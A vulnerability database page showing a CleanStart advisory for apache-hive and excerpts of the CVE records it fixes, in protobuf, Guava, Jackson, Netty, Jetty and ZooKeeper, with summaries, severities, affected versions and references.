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Vulnerability from cleanstart
Published
2026-05-18 13:10
Modified
2026-05-14 06:03
Summary
Security fixes for CVE-2018-10237, CVE-2020-8908, CVE-2021-22569, CVE-2021-22570, CVE-2022-3171, CVE-2022-3509, CVE-2022-3510, CVE-2023-2976, CVE-2023-44981, CVE-2024-23454, CVE-2024-23944, CVE-2024-38827, CVE-2024-47554, CVE-2024-6763, CVE-2024-7254, CVE-2025-11143, CVE-2025-24970, CVE-2025-25193, CVE-2025-27821, CVE-2025-41249, CVE-2025-48734, CVE-2025-48924, CVE-2025-49128, CVE-2025-52999, CVE-2025-53864, CVE-2025-55163, CVE-2025-58056, CVE-2025-58057, CVE-2025-59419, CVE-2025-67735, CVE-2025-68161, CVE-2025-8916, CVE-2026-24281, CVE-2026-24308, CVE-2026-33870, CVE-2026-33871, CVE-2026-5588, ghsa-72hv-8253-57qq applied in versions: 4.1.0-r1, 4.1.0-r2
Details
Multiple security vulnerabilities affect the apache-hive package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "apache-hive"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.0-r2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the apache-hive package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-SV95049",
"modified": "2026-05-14T06:03:08Z",
"published": "2026-05-18T13:10:38.939090Z",
"references": [
{
"type": "ADVISORY",
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},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2018-10237"
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{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2020-8908"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2021-22569"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2021-22570"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-3171"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-3509"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-3510"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-2976"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-44981"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-23454"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-23944"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-38827"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-47554"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-6763"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-11143"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-24970"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-25193"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-27821"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-41249"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-48734"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-49128"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-52999"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-53864"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-59419"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-68161"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-8916"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-24281"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-24308"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33870"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33871"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-5588"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10237"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8908"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22569"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22570"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3171"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3509"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3510"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2976"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44981"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23454"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23944"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38827"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47554"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6763"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11143"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24970"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25193"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27821"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41249"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48734"
},
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924"
},
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"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49128"
},
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52999"
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{
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53864"
},
{
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59419"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68161"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8916"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24281"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24308"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5588"
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],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2018-10237, CVE-2020-8908, CVE-2021-22569, CVE-2021-22570, CVE-2022-3171, CVE-2022-3509, CVE-2022-3510, CVE-2023-2976, CVE-2023-44981, CVE-2024-23454, CVE-2024-23944, CVE-2024-38827, CVE-2024-47554, CVE-2024-6763, CVE-2024-7254, CVE-2025-11143, CVE-2025-24970, CVE-2025-25193, CVE-2025-27821, CVE-2025-41249, CVE-2025-48734, CVE-2025-48924, CVE-2025-49128, CVE-2025-52999, CVE-2025-53864, CVE-2025-55163, CVE-2025-58056, CVE-2025-58057, CVE-2025-59419, CVE-2025-67735, CVE-2025-68161, CVE-2025-8916, CVE-2026-24281, CVE-2026-24308, CVE-2026-33870, CVE-2026-33871, CVE-2026-5588, ghsa-72hv-8253-57qq applied in versions: 4.1.0-r1, 4.1.0-r2",
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}
CVE-2022-3171 (GCVE-0-2022-3171)
Vulnerability from cvelistv5 – Published: 2022-10-12 00:00 – Updated: 2025-04-21 13:47
VLAI?
EPSS
Title
Memory handling vulnerability in ProtocolBuffers Java core and lite
Summary
A parsing issue with binary data in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.
Severity ?
4.3 (Medium)
CWE
- CWE-20 - Improper Input Validation
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/protocolbuffers/protobuf/secur… | |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisory |
| https://security.gentoo.org/glsa/202301-09 | vendor-advisory |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Google LLC | Protocolbuffers |
Affected:
3.21.7 , < 3.21.7
(custom)
Affected: 3.20.3 , < 3.20.3 (custom) Affected: 3.19.6 , < 3.19.6 (custom) Affected: 3.16.3 , < 3.16.3 (custom) |
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CVE-2024-38827 (GCVE-0-2024-38827)
Vulnerability from cvelistv5 – Published: 2024-12-02 14:32 – Updated: 2025-01-24 20:03
VLAI?
EPSS
Title
Spring Security Authorization Bypass for Case Sensitive Comparisons
Summary
The usage of String.toLowerCase() and String.toUpperCase() has some Locale dependent exceptions that could potentially result in authorization rules not working properly.
Severity ?
4.8 (Medium)
CWE
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Spring by VMware Tanzu | Spring Security |
Affected:
5.7.0 - 5.7.13, 5.8.0 - 5.8.15, 6.0.0 - 6.0.13, 6.1.0 - 6.1.11, 6.2.0 - 6.2.7, 6.3.0 - 6.3.4, Older unsupported versions are also affected
|
Date Public ?
2024-11-19 14:17
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CVE-2020-8908 (GCVE-0-2020-8908)
Vulnerability from cvelistv5 – Published: 2020-12-10 22:10 – Updated: 2024-08-04 10:12
VLAI?
EPSS
Title
Temp directory permission issue in Guava
Summary
A temp directory creation vulnerability exists in all versions of Guava, allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava API com.google.common.io.Files.createTempDir(). By default, on unix-like systems, the created directory is world-readable (readable by an attacker with access to the system). The method in question has been marked @Deprecated in versions 30.0 and later and should not be used. For Android developers, we recommend choosing a temporary directory API provided by Android, such as context.getCacheDir(). For other Java developers, we recommend migrating to the Java 7 API java.nio.file.Files.createTempDirectory() which explicitly configures permissions of 700, or configuring the Java runtime's java.io.tmpdir system property to point to a location whose permissions are appropriately configured.
Severity ?
CWE
- CWE-378 - Creation of Temporary File With Insecure Permissions
Assigner
References
43 references
| URL | Tags |
|---|---|
| https://github.com/google/guava/issues/4011 | x_refsource_CONFIRM |
| https://github.com/google/guava/commit/fec0dbc463… | x_refsource_CONFIRM |
| https://snyk.io/vuln/SNYK-JAVA-COMGOOGLEGUAVA-1015415 | x_refsource_MISC |
| https://lists.apache.org/thread.html/r68d86f4b06c… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r215b3d50f56… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rb8c0f1b7589… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r4776f62dfae… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rbc7642b9800… | x_refsource_MISC |
| https://lists.apache.org/thread.html/r841c5e14e1b… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rc2dbc4633a6… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rd5d58088812… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r3c3b33ee5be… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rfc27e2727a2… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rd01f5ff0164… | mailing-listx_refsource_MLIST |
| https://www.oracle.com/security-alerts/cpuApr2021.html | x_refsource_MISC |
| https://lists.apache.org/thread.html/r2fe45d96eea… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r07ed3e4417a… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r6874dfe26ee… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r161b87f8037… | mailing-listx_refsource_MLIST |
| https://www.oracle.com//security-alerts/cpujul2021.html | x_refsource_MISC |
| https://lists.apache.org/thread.html/ra7ab308481e… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rf00b688ffa6… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r58a8775205a… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/re120f6b3d2f… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r49549a8322f… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rcafc3a637d8… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r007add13197… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/reebbd63c25b… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r79e47ed555b… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rd2704306ec7… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r5d61b98ceb7… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r7b0e81d8367… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rb2364f4cf4d… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r294be9d31c0… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rf9f0fa84b8a… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r5b3d93dfdfb… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r3dd8881de89… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rc607bc52f35… | mailing-listx_refsource_MLIST |
| https://www.oracle.com/security-alerts/cpuoct2021.html | x_refsource_MISC |
| https://lists.apache.org/thread.html/rd7e12d56d49… | mailing-listx_refsource_MLIST |
| https://www.oracle.com/security-alerts/cpujan2022.html | x_refsource_MISC |
| https://www.oracle.com/security-alerts/cpuapr2022.html | x_refsource_MISC |
| https://security.netapp.com/advisory/ntap-2022021… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Google LLC | Guava |
Affected:
1.0 , < 32.0
(custom)
|
Credits
Jonathan Leitschuh
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CVE-2025-48924 (GCVE-0-2025-48924)
Vulnerability from cvelistv5 – Published: 2025-07-11 14:56 – Updated: 2025-11-04 22:06
VLAI?
EPSS
Title
Apache Commons Lang, Apache Commons Lang: ClassUtils.getClass(...) can throw a StackOverflowError on very long inputs
Summary
Uncontrolled Recursion vulnerability in Apache Commons Lang.
This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.
The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a
StackOverflowError could cause an application to stop.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
Severity ?
No CVSS data available.
CWE
- CWE-674 - Uncontrolled Recursion
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://lists.apache.org/thread/bgv0lpswokgol11tl… | vendor-advisory |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache Commons Lang |
Affected:
2.0 , ≤ 2.6
(maven)
|
|
| Apache Software Foundation | Apache Commons Lang |
Affected:
3.0 , < 3.18.0
(maven)
|
Credits
OSS-Fuzz Issue 42522972
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CVE-2025-52999 (GCVE-0-2025-52999)
Vulnerability from cvelistv5 – Published: 2025-06-25 17:02 – Updated: 2025-06-25 18:04
VLAI?
EPSS
Title
jackson-core Has Potential for StackoverflowError if user parses an input file that contains very deeply nested data
Summary
jackson-core contains core low-level incremental ("streaming") parser and generator abstractions used by Jackson Data Processor. In versions prior to 2.15.0, if a user parses an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. jackson-core will throw a StreamConstraintsException if the limit is reached. jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. As a workaround, users should avoid parsing input files from untrusted sources.
Severity ?
CWE
- CWE-121 - Stack-based Buffer Overflow
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/FasterXML/jackson-core/securit… | x_refsource_CONFIRM |
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1 product
| Vendor | Product | Version | |
|---|---|---|---|
| FasterXML | jackson-core |
Affected:
< 2.15.0
|
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CVE-2024-23944 (GCVE-0-2024-23944)
Vulnerability from cvelistv5 – Published: 2024-03-15 10:26 – Updated: 2025-07-03 14:52
VLAI?
EPSS
Title
Apache ZooKeeper: Information disclosure in persistent watcher handling
Summary
Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical.
Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue.
Severity ?
No CVSS data available.
CWE
- CWE-862 - Missing Authorization
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://lists.apache.org/thread/96s5nqssj03rznz9h… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache ZooKeeper |
Affected:
3.9.0 , ≤ 3.9.1
(maven)
Affected: 3.8.0 , ≤ 3.8.3 (maven) Affected: 3.6.0 , ≤ 3.7.2 (maven) |
Credits
周吉安(寒泉) <zhoujian.zja@alibaba-inc.com>
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CVE-2025-24970 (GCVE-0-2025-24970)
Vulnerability from cvelistv5 – Published: 2025-02-10 21:57 – Updated: 2025-04-16 15:37
VLAI?
EPSS
Title
SslHandler doesn't correctly validate packets which can lead to native crash when using native SSLEngine
Summary
Netty, an asynchronous, event-driven network application framework, has a vulnerability starting in version 4.1.91.Final and prior to version 4.1.118.Final. When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. Version 4.1.118.Final contains a patch. As workaround its possible to either disable the usage of the native SSLEngine or change the code manually.
Severity ?
7.5 (High)
CWE
- CWE-20 - Improper Input Validation
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
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CVE-2025-67735 (GCVE-0-2025-67735)
Vulnerability from cvelistv5 – Published: 2025-12-16 00:19 – Updated: 2025-12-16 14:26
VLAI?
EPSS
Title
Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder
Summary
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the `io.netty.handler.codec.http.HttpRequestEncoder` has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the URI. Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue.
Severity ?
6.5 (Medium)
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
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CVE-2025-53864 (GCVE-0-2025-53864)
Vulnerability from cvelistv5 – Published: 2025-07-11 00:00 – Updated: 2025-09-23 18:38
VLAI?
EPSS
Summary
Connect2id Nimbus JOSE + JWT 10.0.x before 10.0.2 and 9.37.x before 9.37.4 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.
Severity ?
5.8 (Medium)
CWE
- CWE-674 - Uncontrolled Recursion
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Connect2id | Nimbus JOSE+JWT |
Affected:
0 , < 10.0.2
(custom)
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CVE-2025-11143 (GCVE-0-2025-11143)
Vulnerability from cvelistv5 – Published: 2026-03-05 09:26 – Updated: 2026-03-05 14:48
VLAI?
EPSS
Summary
The Jetty URI parser has some key differences to other common parsers when evaluating invalid or unusual URIs. Differential parsing of URIs in systems using multiple components may result in security by-pass. For example a component that enforces a black list may interpret the URIs differently from one that generates a response. At the very least, differential parsing may divulge implementation details.
Severity ?
CWE
- CWE-20 - Improper Input Validation
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Eclipse Foundation | Eclipse Jetty |
Affected:
9.4.0 , ≤ 9.4.58
(semver)
Affected: 10.0.0 , ≤ 10.0.26 (semver) Affected: 11.0.0 , ≤ 11.0.26 (semver) Affected: 12.0.0 , ≤ 12.0.30 (semver) Affected: 12.1.0 , ≤ 12.1.4 (semver) |
Credits
zer0yu
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CVE-2026-33871 (GCVE-0-2026-33871)
Vulnerability from cvelistv5 – Published: 2026-03-27 19:55 – Updated: 2026-03-31 18:54
VLAI?
EPSS
Title
Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass
Summary
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, a remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server's lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive. Versions 4.1.132.Final and 4.2.10.Final fix the issue.
Severity ?
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
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CVE-2024-6763 (GCVE-0-2024-6763)
Vulnerability from cvelistv5 – Published: 2024-10-14 15:06 – Updated: 2025-03-07 00:10
VLAI?
EPSS
Title
Jetty URI parsing of invalid authority
Summary
Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, HttpURI, for URI/URL parsing.
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is used after passing validation checks.
Severity ?
CWE
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Eclipse Foundation | Jetty |
Affected:
7.0.0 , ≤ 12.0.11
(semver)
|
Date Public ?
2024-10-14 15:00
Credits
https://github.com/zer0yu
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CVE-2022-3509 (GCVE-0-2022-3509)
Vulnerability from cvelistv5 – Published: 2022-11-01 18:09 – Updated: 2025-04-22 15:10
VLAI?
EPSS
Title
Parsing issue in protobuf textformat
Summary
A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.
Severity ?
7.5 (High)
CWE
- n/a
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| ProtocolBuffers |
Affected:
3.21.0 , < 3.21.7
(semver)
Affected: 3.20.0 , < 3.20.3 (semver) Affected: 3.19.0 , < 3.19.6 (semver) Affected: 3.16.0 , < 3.16.3 (semver) |
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CVE-2023-44981 (GCVE-0-2023-44981)
Vulnerability from cvelistv5 – Published: 2023-10-11 11:55 – Updated: 2025-04-23 16:15
VLAI?
EPSS
Title
Apache ZooKeeper: Authorization bypass in SASL Quorum Peer Authentication
Summary
Authorization Bypass Through User-Controlled Key vulnerability in Apache ZooKeeper. If SASL Quorum Peer authentication is enabled in ZooKeeper (quorum.auth.enableSasl=true), the authorization is done by verifying that the instance part in SASL authentication ID is listed in zoo.cfg server list. The instance part in SASL auth ID is optional and if it's missing, like 'eve@EXAMPLE.COM', the authorization check will be skipped. As a result an arbitrary endpoint could join the cluster and begin propagating counterfeit changes to the leader, essentially giving it complete read-write access to the data tree. Quorum Peer authentication is not enabled by default.
Users are recommended to upgrade to version 3.9.1, 3.8.3, 3.7.2, which fixes the issue.
Alternately ensure the ensemble election/quorum communication is protected by a firewall as this will mitigate the issue.
See the documentation for more details on correct cluster administration.
Severity ?
No CVSS data available.
CWE
- CWE-639 - Authorization Bypass Through User-Controlled Key
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache ZooKeeper |
Affected:
3.9.0 , < 3.9.1
(maven)
Affected: 3.8.0 , ≤ 3.8.2 (maven) Affected: 3.7.0 , ≤ 3.7.1 (maven) Affected: 0 , < 3.7.0 (maven) |
Credits
Damien Diederen <ddiederen@apache.org>
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CVE-2025-49128 (GCVE-0-2025-49128)
Vulnerability from cvelistv5 – Published: 2025-06-06 21:18 – Updated: 2025-06-09 15:13
VLAI?
EPSS
Title
Jackson-core Vulnerable to Memory Disclosure via Source Snippet in JsonLocation
Summary
Jackson-core contains core low-level incremental ("streaming") parser and generator abstractions used by Jackson Data Processor. Starting in version 2.0.0 and prior to version 2.13.0, a flaw in jackson-core's `JsonLocation._appendSourceDesc` method allows up to 500 bytes of unintended memory content to be included in exception messages. When parsing JSON from a byte array with an offset and length, the exception message incorrectly reads from the beginning of the array instead of the logical payload start. This results in possible information disclosure in systems using pooled or reused buffers, like Netty or Vert.x. This issue was silently fixed in jackson-core version 2.13.0, released on September 30, 2021, via PR #652. All users should upgrade to version 2.13.0 or later. If upgrading is not immediately possible, applications can mitigate the issue by disabling exception message exposure to clients to avoid returning parsing exception messages in HTTP responses and/or disabling source inclusion in exceptions to prevent Jackson from embedding any source content in exception messages, avoiding leakage.
Severity ?
4 (Medium)
CWE
- CWE-209 - Generation of Error Message Containing Sensitive Information
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/FasterXML/jackson-core/securit… | x_refsource_CONFIRM |
| https://github.com/FasterXML/jackson-core/pull/652 | x_refsource_MISC |
| https://github.com/FasterXML/jackson-core/commit/… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| FasterXML | jackson-core |
Affected:
>= 2.0.0, < 2.13.0
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CVE-2023-2976 (GCVE-0-2023-2976)
Vulnerability from cvelistv5 – Published: 2023-06-14 17:36 – Updated: 2026-02-25 16:57
VLAI?
EPSS
Title
Use of temporary directory for file creation in `FileBackedOutputStream` in Guava
Summary
Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class.
Even though the security vulnerability is fixed in version 32.0.0, we recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.
Severity ?
5.5 (Medium)
CWE
- Creation of Temporary File With Insecure Permissions
Assigner
References
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CVE-2025-25193 (GCVE-0-2025-25193)
Vulnerability from cvelistv5 – Published: 2025-02-10 22:02 – Updated: 2025-02-21 18:03
VLAI?
EPSS
Title
Denial of Service attack on windows app using Netty
Summary
Netty, an asynchronous, event-driven network application framework, has a vulnerability in versions up to and including 4.1.118.Final. An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attempts to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. A similar issue was previously reported as CVE-2024-47535. This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. Commit d1fbda62d3a47835d3fb35db8bd42ecc205a5386 contains an updated fix.
Severity ?
5.5 (Medium)
CWE
- CWE-400 - Uncontrolled Resource Consumption
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/netty/netty/commit/d1fbda62d3a… | x_refsource_MISC |
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CVE-2021-22569 (GCVE-0-2021-22569)
Vulnerability from cvelistv5 – Published: 2022-01-07 00:00 – Updated: 2025-04-21 13:57
VLAI?
EPSS
Title
Denial of Service of protobuf-java parsing procedure
Summary
An issue in protobuf-java allowed the interleaving of com.google.protobuf.UnknownFieldSet fields in such a way that would be processed out of order. A small malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated pauses. We recommend upgrading libraries beyond the vulnerable versions.
Severity ?
7.5 (High)
CWE
